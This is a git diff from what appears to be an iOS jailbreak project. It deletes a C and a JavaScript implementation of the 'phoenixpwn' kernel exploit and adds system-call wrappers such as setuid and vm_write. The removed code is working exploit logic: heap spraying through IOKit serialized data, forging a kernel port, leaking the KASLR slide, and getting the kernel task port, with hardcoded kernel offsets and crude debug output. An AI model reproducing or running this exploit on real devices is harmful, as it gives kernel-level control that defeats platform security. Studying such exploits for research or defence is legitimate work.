-// for (int i=0; i<PORTS_NUM_PRESPRAY; i++) {
-// spray_ports(1024);
-// }
-// spray_data2(data, 8, 256);
-// spray_data2(data, 8, 256);
-// spray_data2(data, 8, 256);
-// spray_data2(data, 8, 256);
-// spray_data2(data, 8, 256);
-// spray_data2(data, 8, 256);
- for(size_t i = 0; i < PORTS_NUM_PRESPRAY; ++i){
- mach_port_t dummy;
- spray(big_buf, big_size, &dummy);
- }
-
- sched_yield();
- for (int i = 0; i < PORTS_NUM; i++) {
- fp[i] = spray_ports(1);
- mach_port_t dummy;
- spray(small_buf, small_size, &dummy);
-// spray_data2(data, 8, 32);
- }
-
- sched_yield();
- for (int i = 0; i < PORTS_NUM; i++) {
- release_port_ptrs(fp[i]);
- }
-
- mach_port_t arr[2] = {MACH_PORT_NULL,MACH_PORT_NULL};
- r3gister(mach_task_self(),arr,2,3);
- printf("r3gister done\n");
-
- mach_port_t *arrz=0;
- mach_msg_type_number_t sz = 3;
- mach_ports_lookup(mach_task_self(), &arrz, &sz);
- printf("done %x %x %x %x\n", arrz[0], arrz[1], arrz[2], kp);
- mach_port_t fake_port = arrz[2];
- if(!MACH_PORT_VALID(fake_port))
- {
- printf("Exploit failed, retrying...\n");
- goto again;
- }
-
- kport[0].ip_kobject = kptr + sizeof(*kport) - TASK_BSDINFO_OFFSET;
- *ptr = find_kerneltask() + kslide - BSDINFO_PID_OFFSET;
-
- char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
- kport_t *kpbuf = (kport_t*)(tst+4);
- for (int i=0; i<2; i++) {
- kpbuf[i] = kport[i];
- }
- usleep(10000);
- sched_yield();
- mach_port_destroy(mach_task_self(), fakeportData);
- OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
- printf("done realloc\n");
-
- OUT(pid_for_task(fake_port, (int*)&kernel_task_addr));
- LOG("kernel_task address: 0x%08lx", kernel_task_addr);
-
- *ptr = find_ipcspacekernel() + kslide - BSDINFO_PID_OFFSET;
- memset(tst, 0x44, sizeof(tst));
- for (int i=0; i<2; i++) {
- kpbuf[i] = kport[i];
- }
-
- usleep(10000);
- sched_yield();
- mach_port_destroy(mach_task_self(), fakeportData);
- OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
- printf("done realloc2\n");
-
- uintptr_t ipc_space_kernel_addr = 0;
- OUT(pid_for_task(fake_port, (int*)&ipc_space_kernel_addr));
- LOG("ipc_space_kernel address: 0x%08lx", ipc_space_kernel_addr);
-
- if (ipc_space_kernel_addr == kernel_task_addr) {
- printf("Error: failed to leak pointers\n");
- goto out;
- }
-
- kport->ip_receiver = ipc_space_kernel_addr;
- kport->ip_kobject = kernel_task_addr;
- memset(tst, 0x45, sizeof(tst));
- for (int i=0; i<2; i++) {
- kpbuf[i] = kport[i];
- }
-
- OUT(spray_data(tst, sizeof(tst), 10, &postSpray));
- mach_port_destroy(mach_task_self(), postSpray);
- printf("done postspray\n");
-
- usleep(10000);
- sched_yield();
- mach_port_destroy(mach_task_self(), fakeportData);
- OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
- printf("done realloc3\n");
-
- resume_all_threads();
-
- return fake_port;
- out:
- if(MACH_PORT_VALID(fake_port))
- {
- ret = send_ports(sanity_port, fake_port, 1, 1);
- if(ret == KERN_SUCCESS)
- {
- fake_port = MACH_PORT_NULL;
- printf("Exploit failed, retrying...\n");
- goto again;
- }
- printf("send_ports(): %s\n", mach_error_string(ret));
- }
- printf("Error: exploit failed :(\n");
- return MACH_PORT_NULL;
-}
-
-uintptr_t kbase(){
- return 0x80001000 + kslide;
-}
-
-#if 0
-void exploit(){
- mach_port_t taskHacked = get_kernel_task();
- uintptr_t kbase = 0x80001000 + kslide;
- printf("got kerneltask!\n");
- printf("kbase=%p\n",(void*)kbase);
-
- char kdata[0x100];
- memset(kdata, 0, 0x100);
- vm_size_t bytesRead=0x100;
-
- kern_return_t kr=vm_read_overwrite(taskHacked, kbase, bytesRead, (vm_address_t)kdata, &bytesRead);
- printf("vm_read_overwrite=0x%08x\n",kr);
-
- printf("DONE!!!\n");
-}
-#endif
-
-void exploit_cleanup(task_t kernel_task)
-{
- kern_return_t ret;
-
- mach_port_t self = mach_task_self();
- OUT(r3gister(kernel_task, &self, 1, 1));
-
- vm_address_t portaddr = 0;
- vm_size_t sz = sizeof(portaddr);
- OUT(vm_read_overwrite(kernel_task, kernel_task_addr+0x1ac, sz, (vm_address_t)&portaddr, &sz));
-
- vm_address_t mytaskaddr = 0;
- vm_size_t size = sizeof(mytaskaddr);
- OUT(vm_read_overwrite(kernel_task, portaddr+__builtin_offsetof(kport_t, ip_kobject), size, (vm_address_t)&mytaskaddr, &size));
- printf("mytaskaddr = 0x%08x\n", mytaskaddr);
-
- mach_port_t none = 0;
- OUT(r3gister(mach_task_self(), &none, 1, 1));
-
-#pragma pack(4)
- typedef struct {
- mach_msg_header_t Head;
- mach_msg_body_t msgh_body;
- mach_msg_ool_ports_descriptor_t init_port_set[1];
- mach_msg_trailer_t trailer;
- } Reply;
-#pragma pack()
- Reply reply;
-
- while(1)
- {
- ret = mach_msg(&reply.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), sanity_port, 0, MACH_PORT_NULL);
- if(ret != KERN_SUCCESS)
- {
- printf("cleanup done\n");
- break;
- }
- mach_port_t *port = reply.init_port_set[0].address;
-
- printf("Unregistering port %x...\n", *port);
- mach_port_t arr[3] = { MACH_PORT_NULL, MACH_PORT_NULL, *port };
- OUT(r3gister(mach_task_self(), arr, 3, 3));
- uintptr_t zero = 0;
- OUT(vm_write(kernel_task, mytaskaddr + 0x1b4, (vm_offset_t)&zero, sizeof(zero)));
- }
-
- out:;
-} \ No newline at end of file
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
deleted file mode 100755
index 47ff1c0..0000000
--- a/src/js/kexp/exploit.js
+++ /dev/null
@@ -1,557 +0,0 @@
-/*
- * phoenixpwn kernel exploit
- * reimplemented in JS
- * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy
- */
-
-var sanity_port = 0;
-var MACH_PORT_RIGHT_RECEIVE = 0x1;
-var MACH_MSG_TYPE_MAKE_SEND = 0x14;
-var MACH_PORT_LIMITS_INFO = 0x1;
-var MACH_PORT_LIMITS_INFO_COUNT = 0x1;
-var kport_size = 0x78;
-var kport_ip_bits4 = 0x0;
-var kport_ip_references4 = 0x4;
-var kport_ip_lock_type4 = 0x10;
-var kport_ip_messages_port_qlimit2 = 0x42;
-var kport_ip_receiver4 = 0x4c;
-var kport_ip_srights4 = 0x70;
-var KERN_SUCCESS = 0;
-var NULL = 0;
-var MACH_PORT_NULL = 0;
-var req_init_port_set = 0x1c;
-var req_head_msgh_bits = 0x0;
-var req_head_msgh_request_port = 0x8;
-var req_head_msgh_reply_port = 0xc;
-var req_head_msgh_id = 0x14;
-var req_msgh_body_msgh_descriptor_count = 0x18;
-var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2;
-var req_init_port_set_address = 0x0;
-var req_init_port_set_count = 0x4;
-var MACH_RCV_MSG = 0x2;
-var MACH_MSG_TIMEOUT_NONE = 0;
-var TASK_BSDINFO_OFFSET = 0x200;
-var BSDINFO_PID_OFFSET = 0x8;
-
-function find_kerneltask() {
- return 0x8041200c;
-}
-
-function find_ipcspacekernel() {
- return 0x80456664;
-}
-
-var task_self = 0;
-var kslide = 0;
-
-var fakeportData = 0;
-
-var kOSSerializeDictionary = 0x01000000;
-var kOSSerializeArray = 0x02000000;
-var kOSSerializeSet = 0x03000000;
-var kOSSerializeNumber = 0x04000000;
-var kOSSerializeSymbol = 0x08000000;
-var kOSSerializeString = 0x09000000;
-var kOSSerializeData = 0x0a000000;
-var kOSSerializeBoolean = 0x0b000000;
-var kOSSerializeObject = 0x0c000000;
-
-var kOSSerializeTypeMask = 0x7F000000;
-var kOSSerializeDataMask = 0x00FFFFFF;
-
-var kOSSerializeEndCollection = 0x80000000;
-
-var kOSSerializeMagic = 0x000000d3;
-
-var SIZEOF_BYTES_MSG = 384;
-
-var PORTS_NUM = 1024;
-var PORTS_NUM_PRESPRAY = 100;
-var MIG_MAX = 0x1000;
-
-function spray_data(mem, size, num, portptr) {
- var err = shit_heap(4);
- var ret = 0;
- var master = shit_heap(4);
- host_get_io_master(mach_host_self(), master);
- var dict = shit_heap(MIG_MAX);
- var __cnt = 0;
- write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++;
- write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++;
- write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++;
- write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++;
- write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++;
-
- for (var i = 0; i < num; i++) {
- write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
- if (mem != 0 && size != 0) {
- memcpy(dict + (__cnt << 2), mem, size);
- }
- memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size);
- __cnt += SIZEOF_BYTES_MSG / 4;
- }
-
- printf("%x %x\n", master, read_u32(master));
- printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide()));
- ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr);
- printf("still alive? %x %x\n", err, read_u32(err));
- if (ret == KERN_SUCCESS) {
- ret = read_u32(err);
- }
- printf("still alive? %x %x\n", err, read_u32(err));
-
- return ret;
-}
-
-function copyinPort(kport, cnt) {
- var err = shit_heap(4);
- var ret = 0;
- var self = task_self;
- var service = MACH_PORT_NULL;
- var client = shit_heap(4);
- var it = shit_heap(4);
- var o = MACH_PORT_NULL;
- var data = shit_heap(4);
- var master = shit_heap(4);
- fakeportData = shit_heap(4);
- var host_self = mach_host_self();
- host_get_io_master(mach_host_self(), master);
- ret = spray_data(NULL, 0, 5, data);
- printf("sprayed, still here\n");
- printf("spray_data=%d (%s)\n", ret, mach_error_string(ret));
- printf("sprayed, still here\n");
-
-// printf("%x %x\n", master, read_u32(master));
- service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity"));
- printf("service=%x\n", service);
-
- var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
- printf("%x\n", tst);
- var kpbuf = tst + 4;
- for (var i = 0; i < cnt; i++) {
- write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
- }
-
- var err = shit_heap(4);
- var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
- var xml = sptr(xmls);
- ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client);
- printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
- if (ret == KERN_SUCCESS) {
- ret = read_u32(err);
- }
- printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
- IORegistryEntryGetChildIterator(service, "IOService", it);
-
- var found = false;
- var o = IOIteratorNext(read_u32(it));
-
- while (o != MACH_PORT_NULL && !found) {
- var buf = shit_heap(16 * 4);
- var size = shit_heap(4);
- write_u32(size, 16 * 4);
- ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
- printf("%d %s\n", ret, mach_error_string(ret));
- if (ret == KERN_SUCCESS) {
- spray_data(tst, strlen(tst) + 1, 10, fakeportData);
- kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0;
- printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16));
- found = true;
- return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0;
- }
- }
- printf("didn't find it\n");
-}
-
-function prepare_ptr(dict, size, ptr, num) {
- var idx = 0;
- write_u32(dict + (idx << 2), kOSSerializeMagic); idx++;
- write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++;
- write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++;
- write_u32(dict + (idx << 2), 0x0079656b); idx++;
- write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++;
- for (var i = 0; i < num; i++) {
- write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++;
- write_u32(dict + (idx << 2), ptr); idx++;
- write_u32(dict + (idx << 2), ptr); idx++;
- }
-
- write_u32(size, idx * 4);
- return KERN_SUCCESS;
-}
-
-function spray(dict, size, port) {
- var err = shit_heap(4);
- var ret = 0;
- var master = shit_heap(4);
-
- ret = host_get_io_master(mach_host_self(), master);
- printf("yahtzee3 %d (%s) %p\n", ret, mach_error_string(ret), read_u32(master));
-// scall("printf", "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", master, 0x41414141, "IOServiceTerminate", 0x41414141, dict, 0x41414141, size, 0x41414141, MACH_PORT_NULL, 0x41414141, NULL, 0x41414141, 0, 0x41414141, err, 0x41414141, port, 0x41414141);
- ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port);
- printf("yahtzee %d (%s)\n", ret, mach_error_string(ret));
-
- if (ret == KERN_SUCCESS) {
- ret = read_u32(err);
- }
-
- printf("yahtzee2 %d (%s)\n", ret, mach_error_string(ret));
-
- return ret;
-}
-
-var kp = 0;
-function spray_ports(number_port_descs) {
- if (kp == 0) {
- kp = shit_heap(4);
- mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
- mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
- } else if (read_u32(kp) == 0) {
- kp = shit_heap(4);
- mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
- mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
- }
-
- var mp = shit_heap(4);
-
- var ret_ = mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp);
- printf("mpa %d (%s)\n", ret_, mach_error_string(ret_));
- ret_ = mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND);
- printf("mpir %d (%s)\n", ret_, mach_error_string(ret_));
-
- ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs);
-
- printf("sp %d (%s)\n", ret_, mach_error_string(ret_));
-
- var ret = read_u32(mp);
- shit_heap_free(mp);
- return ret;
-}
-
-function fast_log2(n) {
- var i = 0;
- while (n >>= 1) {
- i++;
- }
-
- return i;
-}
-
-function fast_array_mul(arr, n) {
- var up_to = fast_log2(n) + 1;
- var tmp_arr = arr;
- var done = 0;
- for (var i = 0; i < up_to; i++) {
- tmp_arr.push.apply(tmp_arr);
- done = (1 << i);
- }
-
- return tmp_arr;
-}
-
-function send_ports(target, payload, num, number_port_descs) {
- var init_port_set = shit_heap(num * 4);
-
- for (var i = 0; i < num; i++) {
- write_u32(init_port_set + (i << 2), payload);
- }
-
- // var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8));
-
-// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);
-
-// var buf = new Uint32Array((0x1c + (3 * number_port_descs);
-
-// write_u32(number_port_descs);
-
- large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs;
-
- var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24));
-
- for (var i = 0; i < number_port_descs; i++) {
- var tmp2 = (i * 3) + (req_init_port_set >>> 2);
- large_buf[tmp2 + 0] = (init_port_set);
- large_buf[tmp2 + 1] = (num);
- large_buf[tmp2 + 2] = tmp;
- }
-
- large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)
- large_buf[req_head_msgh_request_port >>> 2] = target;
- large_buf[req_head_msgh_reply_port >>> 2] = 0;
- large_buf[req_head_msgh_id >>> 2] = 1337;
-
-// printf("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100)));
-
- var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);
-
- return ret;
-}
-
-function release_port_ptrs(port) {
-// var req = shit_heap(0x1c + (5 * 0xc) + 0x8);
- var req = shit_heap(0x1c + (5 * 0xc) + 0x8);
-// printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
- var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
- if (ret != KERN_SUCCESS) {
- printf("mach_recv %d %s\n", ret, mach_error_string(ret));
- }
- shit_heap_free(req);
-}
-
-function r3gister(task, init_port_set, real_count, fake_count) {
- var mess = shit_heap(0x1000);
- var InP = mess;
- var OutP = mess;
-
- /*
- InP->msgh_body.msgh_descriptor_count = 1;
- InP->init_port_set.address = (void*)(init_port_set);
- InP->init_port_set.count = real_count;
- InP->init_port_set.disposition = 19;
- InP->init_port_set.deallocate = FALSE;
- InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
- InP->NDR = NDR_record;
- InP->init_port_setCnt = fake_count; // was real_count
- InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
- InP->Head.msgh_remote_port = task;
- InP->Head.msgh_local_port = mig_get_local_port();
- InP->Head.msgh_id = 3403;
- InP->msgh_body.msgh_descriptor_count 0x18 0x4
- InP->init_port_set.address 0x1c 0x4
- InP->init_port_set.count 0x20 0x4
- InP->init_port_set 0x1c
- InP->NDR 0x28 0x8
- InP->init_port_setCnt 0x30 0x4
- InP->Head.msgh_bits 0x0 0x4
- InP->Head.msgh_remote_port 0x8 0x4
- InP->Head.msgh_local_port 0xc 0x4
- InP->Head.msgh_id 0x14 0x4
-0x00000003
-0x00000034 0x0000002c
-0x00000024
-50
-78
-0x0 0x1057ec
- */
-
- write_u32(InP + 0x18, 1);
- write_u32(InP + 0x1c, init_port_set);
- write_u32(InP + 0x20, real_count);
- write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)));
- write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0));
- write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4));
- write_u32(InP + 0x30, fake_count);
- write_u32(InP + 0x0, 0x80001513);
- write_u32(InP + 0x8, task);
- write_u32(InP + 0xc, mig_get_reply_port());
- write_u32(InP + 0x14, 3403);
-
- var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
- if (ret == KERN_SUCCESS) {
- ret = read_u32(OutP + 0x24);
- }
- return ret;
-}
-
-function mach_ports_lookup_shit() {
- printf("fuck\n");
- var arrz = shit_heap(4);
- printf("fuck\n");
- write_u32(arrz, 0);
- printf("fuck\n");
- var sz = shit_heap(4);;
- printf("fuck\n");
- write_u32(sz, 3);
- printf("fuck\n");
-// var mts = mach_task_self();
- printf("fuck\n");
- calls4arg("mach_ports_lookup", task_self, arrz, sz, 0);
- puts("helo");
- printf("mpl success\n");
- scall("printf", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp));
- printf("mpl success\n");
-
- return read_u32(read_u32(arrz) + 8);
-// return 0x42603;
-}
-
-var kernel_task_addr = 0;
-function get_kernel_task() {
- var ret = 0;
- var tfp0 = 0;
-
- /*
- printf("fuck\n");
- var arrz = shit_heap(4);
- printf("fuck\n");
- write_u32(arrz, 0);
- printf("fuck\n");
- var sz = shit_heap(4);;
- printf("fuck\n");
- write_u32(sz, 3);
- printf("fuck\n");
- var mts = mach_task_self();
- printf("fuck\n");
- mach_ports_lookup(mts, arrz, sz);
- printf("mpl success\n");
- return;
-*/
-
- sanity_port = shit_heap(4);
-
- task_self = mach_task_self();
-
- mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port);
- mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND);
- limits = shit_heap(4);
- write_u32(limits, 1000);
- mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT);
-
- printf("starting exploit\n");
-
- var data = shit_heap(16);
- var kport = shit_heap(kport_size * 2);
- var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something
- write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
- write_u32(kport + kport_ip_references4, 100);
- write_u32(kport + kport_ip_lock_type4, 0x11);
- write_u16(kport + kport_ip_messages_port_qlimit2, 777);
- write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy
- write_u32(kport + kport_ip_srights4, 99);
-
- var big_buf = shit_heap(MIG_MAX);
- var small_buf = shit_heap(MIG_MAX);
-
- var big_size = shit_heap(4);
- var small_size = shit_heap(4);
-
- var fp = shit_heap(PORTS_NUM * 4);
- var postSpray = shit_heap(4);
-
- usleep(10000);
- sched_yield();
- var kptr = copyinPort(kport, 2);
-
- printf("0x%08x\n", kptr);
- write_u32(data, kptr);
- write_u32(data + 4, kptr);
-
- prepare_ptr(big_buf, big_size, kptr, 256);
- prepare_ptr(small_buf, small_size, kptr, 32);
-
-again: while (true) {
-
- sched_yield();
- var dummy = shit_heap(4);
- for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) {
- var dummy = shit_heap(4);
- spray(big_buf, read_u32(big_size), dummy);
- }
-
- sched_yield();
- var dummy = shit_heap(4);
- for (var i = 0; i < PORTS_NUM; i++) {
-// for (var i = 0; i < 8; i++) {
- var dummy = shit_heap(4);
- if (i % 4 == 0) {
- printf("spray_ports %d\n", i);
- }
- write_u32(fp + (i << 2), spray_ports(1));
- spray(small_buf, read_u32(small_size), dummy);
- }
-
- sched_yield();
- for (var i = 0; i < PORTS_NUM; i++) {
-// for (var i = 0; i < 8; i++) {
- release_port_ptrs(read_u32(fp + (i << 2)));
- }
-
-// return;
-
-
- var arrz = shit_heap(16);
- write_u32(arrz, 0);
- write_u32(arrz + 4, 0);
- write_u32(arrz + 8, 0);
- write_u32(arrz + 12, 0);
- var sz = shit_heap(4);
- write_u32(sz, 3);
-// mach_ports_lookup_shit_dealloc();
- var ret__ = r3gister(mach_task_self(), arrz, 2, 3);
- mach_ports_lookup(mach_task_self(), arrz, sz);
- scall("printf", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp));
- printf("mpl success\n");
-
- var fake_port = read_u32(read_u32(arrz) + 8);
- printf("%d %s\n", ret__, mach_error_string(ret__));
- printf("r3gister done\n");
-// while (true) {
- //
-// }
- printf("fuck\n");
-// var fake_port = read_u32(read_u32(arrz) + 8);
-
- /*
- * BEGIN JANK FUCKING HACK
- */
-// var fake_port = mach_ports_lookup_shit();
- printf("fuck\n");
- printf("%x\n", fake_port);
- printf("fuck\n");
- // todo: add mach_port_valid stuff
- printf("fuck\n");
-
- printf("fuck\n");
- for (var i = 0; i < 0x78; i += 4) {
- write_u32(kport + i, 0x41410000 | i);
- }
- for (var i = 0; i < 0x78; i += 4) {
- write_u32(kport + i + 0x78, 0x41420000 | i);
- }
-// write_u32(kport + 0x50, kptr + 0x78 - TASK_BSDINFO_OFFSET);
- printf("fuck\n");
-// write_u32(ptr, find_kerneltask() + kslide - BSDINFO_PID_OFFSET);
- printf("fuck\n");
- var tst_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0";
- printf("fuck\n");
- var tst = _sptr(tst_str);
- printf("fuck\n");
- var kpbuf = tst + 4;
- printf("fuck\n");
-
- printf("fuck\n");
- for (var i = 0; i < 2; i++) {
- printf("fuck\n");
- write_buf(kpbuf + (i * 0x78), read_buf(kport + (i * 0x78), 0x78), 0x78);
- }
- printf("fuck\n");
- usleep(10000);
- sched_yield();
- mach_port_destroy(mach_task_self(), read_u32(fakeportData));
- ret__ = spray_data(tst, tst_str.length, 10, fakeportData);
- printf("sd %d (%s)\n", ret__, mach_error_string(ret__));
- printf("fuck\n");
- printf("done realloc");
- printf("fuck\n");
-
- printf("fuck\n");
- var kernel_task_addr = shit_heap(4);
- printf("fuck\n");
- scall("printf", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr));
- ret__ = pid_for_task(fake_port, kernel_task_addr);
- printf("%d %s\n", ret__, mach_error_string(ret__));
- printf("fuck\n");
- printf("IF YOU SEE THIS AND IT LOOKS LEGIT, SHIT HAS FUCKING HAPPENED\n");
- printf("fuck\n");
- call4arg(sym_cache["puts"], sptr("kernel_task address: 0x" + pad_left(read_u32(kernel_task_addr).toString(16), '0', 8)), 0, 0, 0);
- if (kernel_task_addr === 0xffffffff) {
- continue again;
- }
- scall("printf", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr));
- printf("fuck\n");
-
- printf("get lucky\n");
-
- return tfp0;
- }
-}
diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js
index 4f03957..001bb7d 100755
--- a/src/js/lib/myutils.js
+++ b/src/js/lib/myutils.js
@@ -127,4 +127,22 @@ var mach_ports_lookup = scall_wrapper("mach_ports_lookup");
var mach_port_destroy = scall_wrapper("mach_port_destroy");
var pid_for_task = scall_wrapper("pid_for_task");
var __CFStringMakeConstantString = scall_wrapper("__CFStringMakeConstantString");
-var CFStringCreateWithCString = scall_wrapper("CFStringCreateWithCString"); \ No newline at end of file
+var CFStringCreateWithCString = scall_wrapper("CFStringCreateWithCString");
+var fopen = scall_wrapper("fopen");
+var fseek = scall_wrapper("fseek");
+var ftell = scall_wrapper("ftell");
+var fread = scall_wrapper("fread");
+var fclose = scall_wrapper("fclose");
+var open = scall_wrapper("open");
+var read = scall_wrapper("read");
+var xpc_connection_create_mach_service = scall_wrapper("xpc_connection_create_mach_service");
+var bootstrap_look_up = scall_wrapper("bootstrap_look_up");
+var vm_write = scall_wrapper("vm_write");
+var thread_create = scall_wrapper("thread_create");
+var CFPreferencesSetValue = scall_wrapper("CFPreferencesSetValue");
+var setuid = scall_wrapper("setuid");
+var getuid = scall_wrapper("getuid");
+var getpwnam = scall_wrapper("getpwnam");
+var IORegistryEntryFromPath = scall_wrapper("IORegistryEntryFromPath");
